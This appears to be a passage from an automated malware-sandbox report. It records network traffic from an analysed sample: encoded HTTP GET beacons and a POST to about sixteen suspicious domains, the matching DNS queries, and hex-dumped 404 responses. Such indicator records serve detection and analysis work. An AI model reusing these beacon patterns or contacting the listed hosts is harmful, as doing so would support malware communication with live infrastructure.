27 d3 65 74 8a 22 72 c7 c0 64 95 9e c0 55 ee fb 68 42 80 47 1a 37 e9 9f d5 de 04 83 cc 9f 84 86 d5 fd b7 51 b3 80 4f cf 4e be dc b2 0e 59 a5 0f 9d 35 9a 2c 87 d6 8b 20 db e3 29 30 9f 58 d1 64 92 71 13 4c 5a f7 20 4a ce 96 ad 91 ed 4c 9f e2 fc 32 71 e8 77 2d 85 f3 07 08 fb b1 b0 0b 3a 83 9d e4 f2 8c c8 f6 da 87 62 9f ab e5 00 53 2d ca 47 4b e9 b3 bb e9 f9 f4 ff da 15 ca 0c 84 a0 fb 04 8c 55 4d 8a ce 0d 1d ff fb 3b 0c 5d 7d 39 72 74 e4 29 86 95 ad b8 d1 10 b0 6b 67 77 a6 5a 5c 5c cf ae d5 fc 1d 9c 80 d1 03 88 69 e3 65 18 d0 ab b5 b2 ad 75 22 be a8 87 15 43 98 58 de ce 86 c5 f3 5a 54 7a 0f 03 57 24 95 f6 ac fe b8 00 63 0d 2e 93 b2 90 d0 38 ac c5 3f e7 37 4c c2 3c 29 3f b6 5a 6d a1 41 87 c3 a0 1a 42 57 e4 92 2f 0e e7 e7 2a c6 8e 6e 8a 0e 89 d3 72 c2 2b bc db e9 bd 88 b9 02 77 be 89 81 07 88 98 28 e2 d9 12 7e dc 7c 15 af 55 7d 1b ee e5 53 62 76 1e 2c 0f 1d 08 7f 85 5f d3 43 7a ee 1c 04 00 00 Data Ascii: TMo0=pvNl;a"[r%&iPrm:]lQeb3B9^9GS{yqy]\NlR^:pXi~lA@<?\|2n@0YY{T;B>]5/Cl=n=2EzkzgikmWRmoTAP<]&u/'et"rdUhBG7QONY5, )0XdqLZ JL2qw-:bS-GKUM;]}9rt)kgwZ\\ieu"CXZTzW$c.8?7L<)?ZmABW/nr+w(~\|U}Sbv,_Cz

Source: global traffic	HTTP traffic detected: GET /wbcb/?9xn=fHadNpk8MVax&GR54yHZ8=RE7vYLyK5TU4QOP5rF5bzHvmkOBzPkLWFqcdQsIlKut3OUPHwC3RgbbGtWJhBdiGOnYKFKB5mJuPEPmtM8O0K07oOsp/5ysfwWmAOXTj0WnbyU/nOpjct5usIHCkjfDMsHKGZFI= HTTP/1.1Host: www.aziziyeescortg.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /5rfk/?GR54yHZ8=sD5zUlt3wbrvSr53X/LgfhW+OptFCrWooNx2zE35RlOZ6Ff5bUgKRp+BgbOlYXfZZMl91myXHSHWgEoZCPkWwn0n+VmG53SX0EAb83CrCeMIkzMnSL4JpBihhagjpE3GksySBz8=&9xn=fHadNpk8MVax HTTP/1.1Host: www.grandesofertas.funAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /21k5/?9xn=fHadNpk8MVax&GR54yHZ8=fWbmkZjyrmfBp888CcG5P/tv6YAygrCJWn0G2JrBW+aKnevZKbpm6U1ITTXCtKXlDFd/bcpJLIqCcWUwrjM1A7+iBUY3/A2GvnNR6vC/W+DoFDwg0HeJMbxHf0rMeHWrRIOFx4E= HTTP/1.1Host: www.sankan-fukushi.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /m7wz/?GR54yHZ8=k3rxT2/5CoW37253fqeJ2GQ6srVb5CIz6HeAuhy5mTu7sK1SIq+qIwOPP+2nE63N1XqW2uYy0GjlFOwlbRaUhLYFcCcGdRxpuCJbxh795ns7rh5kB8bzkZsIh+aAnGmWaZAVFBY=&9xn=fHadNpk8MVax HTTP/1.1Host: www.conansog.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /80gy/?9xn=fHadNpk8MVax&GR54yHZ8=aoPUcaSQDoEYl3Li+4Czyu/3g+fbTJot1NLErCBtTlAsQjsNV1cN7WJnCGjlbK4CrVmsUH1zx16cR6YNnzS2sMbIBlgbQh0ui0+zZIwlVcUsfMWllXpvy1Ukuj6D4Ic/01nyaOg= HTTP/1.1Host: www.beythome.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /0kli/?GR54yHZ8=Fegsvl+OGDJHKeUkviVqrWXmfitRVJjJzbj1DgnmRmeFZ5KITSJ35O+CNkAnveOy+X8wGwFlf4nSYcZPMr6/AI0vJO7v6wOh3ABnBMRs5EHLHNUVXEXSqZ/A5JpvJLk63zT1cr4=&9xn=fHadNpk8MVax HTTP/1.1Host: www.tempatmudisini06.clickAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /ipd6/?9xn=fHadNpk8MVax&GR54yHZ8=MAf2oATgQW2BddVfADsXf+wCIFqkr7SFGuPP0SlPqjR1OOKK8KBvL1kFaoovUHshjlod7xBKsGH7WboeoPfL5uc/jX4WzK3nYbDP1BFL1MIpigvL/S+Ybe5ZZiUbOMV88bEfnEo= HTTP/1.1Host: www.questmatch.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /hayl/?GR54yHZ8=7uA1bLkCaR9ampYb6jJSXGsXTCFtFEKjMbBrHkb2OaN+7KcXsqyJMoKLTM78+R5XhUdg+bLytXUVrFAv0hUdKTwX6reWgqWzJPe83oti/Pnp22FBmmdcqVWV2wV/tDaQIoOgzZo=&9xn=fHadNpk8MVax HTTP/1.1Host: www.callyur.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /4pih/?9xn=fHadNpk8MVax&GR54yHZ8=ZmPwAj1McUpIZiz0LuViOUq+B7yzDKheiuLx3j/o2iG3zDrxD498zlZSm94ILhpOzlwyZVIuLGPVSJZjqSUFLPfqxdekucT9Chqzy6Pm+Rnw0xtYs44Mkmek35mpNA+VZaQoqJ0= HTTP/1.1Host: www.housew.websiteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /lmj1/?GR54yHZ8=JytxcoExloxtM9GYw/YkVBPtQn8SsYRrRxOyYElJ8zmzZDKm1RUtP4/aN3HHeJpfiiM3EsU/TmM7ebohnljNLiPIHS/Z5elBdrknxTUpZLsvI6YW4AGk52pDe9J+i7QDvUP60yU=&9xn=fHadNpk8MVax HTTP/1.1Host: www.nuy25c9t.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /vpqb/?GR54yHZ8=idKeckLAh2QIGB9KZJIRJS/oZMGdTwW1FjmI9FLM0wQU5zssjU3Tb8uAKfYmb7Pqyu/QfIKYZQgeFcPlwIuov5hXyxvkYczVsVuddv1TKr98fV67HMUUNiXk30NJOQiWMtrF+8k=&9xn=fHadNpk8MVax HTTP/1.1Host: www.madhf.techAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /0krx/?GR54yHZ8=1C2HTrEVNWyxr52SoGOxlLLcvsNBoexmdy9Nu7HdX9lR7swAMLn31GhWzX/WtioZiLgkIr1TIYTpQv4lfQ4TwNnfiM63cxzeqfNeG1D29tziIpAE2Hdr0kt8oEMtEF+W9rbw3UA=&9xn=fHadNpk8MVax HTTP/1.1Host: www.a1shop.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /g2y0/?GR54yHZ8=4J2ZucS0gmHveCLTumStwhEohSgzPPJ4W7Cx1bvPckMEbjsLQyn2mnrwN7XguYk0KfYRNkJmpBfqbfzPpDbCYGkLQdnxWLNNRJRrSDnZ+4vw6seRBsYWgxI51lS2SbfnTvxGN+Y=&9xn=fHadNpk8MVax HTTP/1.1Host: www.aiactor.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /arvb/?GR54yHZ8=ZBQQqxbud8SVIvMkbBf/fVH1me8478TvMeRY2MiH3kRRc/z7OAWaNoWdi819/s5bJQ0i5xulgwkm2DEXU68//topbf+A00Q8GVm5yCYkyRQ3ElhjsG3EX+N+jW0L22iONcil9J4=&9xn=fHadNpk8MVax HTTP/1.1Host: www.sitioseguro.blogAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /lnyv/?GR54yHZ8=JAmImNl6mB+RRlbpbvR3+e423BtxCo3/O8+kCBnAAYB05gHtC1vk8aJbyHyeZvKMcMp3FBCqV/xfRsVXPWDfq0wzcDycBqeORKYOzEG12hWJCinHhVNRLnpziyzgvH+OTjwtfrk=&9xn=fHadNpk8MVax HTTP/1.1Host: www.optimismbank.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /ymqd/?GR54yHZ8=mPy66x3IfJKracCH7wZR1aUAlhDvAV8zvELzb8KITnbno7Ubu3OHpx/EILO3OYxVnkt90JirtFkeXZQsCCcXJBbLSRzz4hD+Fif5IhUF/AIFPB6kYSO8O2aHFbYKqoGjWs62c28=&9xn=fHadNpk8MVax HTTP/1.1Host: www.nonpressure.beautyAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)

Source: global traffic	DNS traffic detected: DNS query: www.aziziyeescortg.xyz
Source: global traffic	DNS traffic detected: DNS query: www.grandesofertas.fun
Source: global traffic	DNS traffic detected: DNS query: www.sankan-fukushi.info
Source: global traffic	DNS traffic detected: DNS query: www.conansog.shop
Source: global traffic	DNS traffic detected: DNS query: www.beythome.online
Source: global traffic	DNS traffic detected: DNS query: www.tempatmudisini06.click
Source: global traffic	DNS traffic detected: DNS query: www.questmatch.pro
Source: global traffic	DNS traffic detected: DNS query: www.callyur.shop
Source: global traffic	DNS traffic detected: DNS query: www.housew.website
Source: global traffic	DNS traffic detected: DNS query: www.nuy25c9t.sbs
Source: global traffic	DNS traffic detected: DNS query: www.madhf.tech
Source: global traffic	DNS traffic detected: DNS query: www.a1shop.shop
Source: global traffic	DNS traffic detected: DNS query: www.aiactor.xyz
Source: global traffic	DNS traffic detected: DNS query: www.sitioseguro.blog
Source: global traffic	DNS traffic detected: DNS query: www.optimismbank.xyz
Source: global traffic	DNS traffic detected: DNS query: www.nonpressure.beauty

Source: unknown

HTTP traffic detected: POST /5rfk/ HTTP/1.1Host: www.grandesofertas.funAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brConnection: closeContent-Length: 213Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0Origin: http://www.grandesofertas.funReferer: http://www.grandesofertas.fun/5rfk/User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)Data Raw: 47 52 35 34 79 48 5a 38 3d 68 42 52 54 58 56 5a 5a 6f 71 66 46 51 34 64 6c 42 61 66 6e 62 43 43 38 46 59 56 39 4e 4f 58 38 7a 4f 42 53 79 57 6e 54 44 55 43 54 6b 6e 61 4d 48 6d 4e 32 5a 38 75 69 72 76 57 4c 53 32 4c 71 42 38 6c 56 31 51 36 50 4c 52 43 68 6d 30 6f 56 46 50 6b 79 74 6c 6c 61 31 47 71 63 75 57 71 53 34 78 67 4b 6a 57 75 36 4d 66 39 58 6c 42 49 30 52 4b 51 67 70 58 4b 57 6b 4a 31 4c 76 57 2f 4d 35 37 66 4d 45 7a 70 33 6c 69 6e 46 5a 59 71 65 66 30 39 49 38 42 61 41 44 2b 6b 71 39 41 41 52 4b 45 31 78 44 55 43 4d 33 37 45 4b 56 30 61 36 68 65 72 55 48 57 35 77 34 54 70 32 79 73 44 6b 52 4a 41 75 61 4d 33 78 74 42 47 46 Data Ascii: GR54yHZ8=hBRTXVZZoqfFQ4dlBafnbCC8FYV9NOX8zOBSyWnTDUCTknaMHmN2Z8uirvWLS2LqB8lV1Q6PLRChm0oVFPkytlla1GqcuWqS4xgKjWu6Mf9XlBI0RKQgpXKWkJ1LvW/M57fMEzp3linFZYqef09I8BaAD+kq9AARKE1xDUCM37EKV0a6herUHW5w4Tp2ysDkRJAuaM3xtBGF

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:31:49 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jv1Yjc7qorQkIAKyPansiI5oqvUUETMy1uuq4ctnrDLXcEOcc2xNUxD0SYuCrqvz2Sp2MLN87KyiJYVwhTPeZ7RbXy7NDIbj5DCJSx45sg%2BUMXayoAC3rxjtgA2%2Fntdc3%2BhxwwSlqixg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e56be1a4d79c44f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1453&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=560&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 31 0d 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:32:19 GMTContent-Type: text/htmlContent-Length: 19268Connection: closeServer: ApacheLast-Modified: Tue, 25 Jan 2022 07:25:35 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:32:21 GMTContent-Type: text/htmlContent-Length: 19268Connection: closeServer: ApacheLast-Modified: Tue, 25 Jan 2022 07:25:35 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20
